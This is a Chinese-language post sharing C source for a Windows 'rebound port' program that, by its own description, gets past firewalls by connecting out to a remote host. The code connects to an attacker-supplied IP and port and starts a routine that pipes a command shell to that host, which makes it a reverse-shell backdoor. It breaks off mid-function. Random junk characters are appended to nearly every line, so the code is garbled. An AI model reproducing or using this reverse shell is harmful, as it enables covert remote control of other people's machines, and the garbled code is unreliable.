这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 j]U~ZAn,K
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/* ============================== Av0(zA2
Rebound port in Windows NT B6j/"x6N15
By wind,2006/7 -Mf-8zw8G
===============================*/ ]a`"O
#include (! 8y~n1
#include F-F1^$]k
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#pragma comment(lib,"wsock32.lib") )H`V\H[0P
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void OutputShell(); W56VA>ia
SOCKET sClient; mHAfK B
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ~Q#!oh'i
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void main(int argc,char **argv) Bt#'6::
{ *7=`]w5k1
WSADATA stWsaData; #|3,DZ|)F
int nRet; XwfR/4
SOCKADDR_IN stSaiClient,stSaiServer; fq4uiFi<
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if(argc != 3) ,)N/2M\B-
{ vRn]u57O
printf("Useage:\n\rRebound DestIP DestPort\n"); XH(-anU"!P
return; cs_
} Q"uK6ANp'
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WSAStartup(MAKEWORD(2,2),&stWsaData); ?`xm_udc
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 0~+*$W
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stSaiClient.sin_family = AF_INET; MBLDxsZ-
stSaiClient.sin_port = htons(0); *wsZ aQ
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); yye5GVY$
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) _>aP5g?Ep
{ ;;m;f^]}
printf("Bind Socket Failed!\n"); v,8Q9<=O
return; 4\nGWi{2
} )pe17T1|
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stSaiServer.sin_family = AF_INET; QN?EI:
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stSaiServer.sin_port = htons((u_short)atoi(argv[2])); FC~%G&K/q^
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 3Agyp89}Q
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ,%BDBZ
{ 'x<oILOG
printf("Connect Error!"); -rjQ^ze
return; 9[W >`JKo
} VXlAK(
OutputShell(); [Y?Y@x"MZ
} ms!|a_H7r
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void OutputShell() U* c'xoP
{ %3|/t-US
char szBuff[1024]; !*HJBZ]q
SECURITY_ATTRIBUTES stSecurityAttributes; Pa+_{9
OSVERSIONINFO stOsversionInfo; qX; F+~
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; $uJc/
STARTUPINFO stStartupInfo; =kzp$ i
char *szShell; g oyQ',+
PROCESS_INFORMATION stProcessInformation; Ziub%C[oV
unsigned long lBytesRead; [}GK rI
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 9$U4x|n
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Q$ Dx:
stSecurityAttributes.lpSecurityDescriptor = 0; &l!T2PX!
stSecurityAttributes.bInheritHandle = TRUE; %;R&cSZ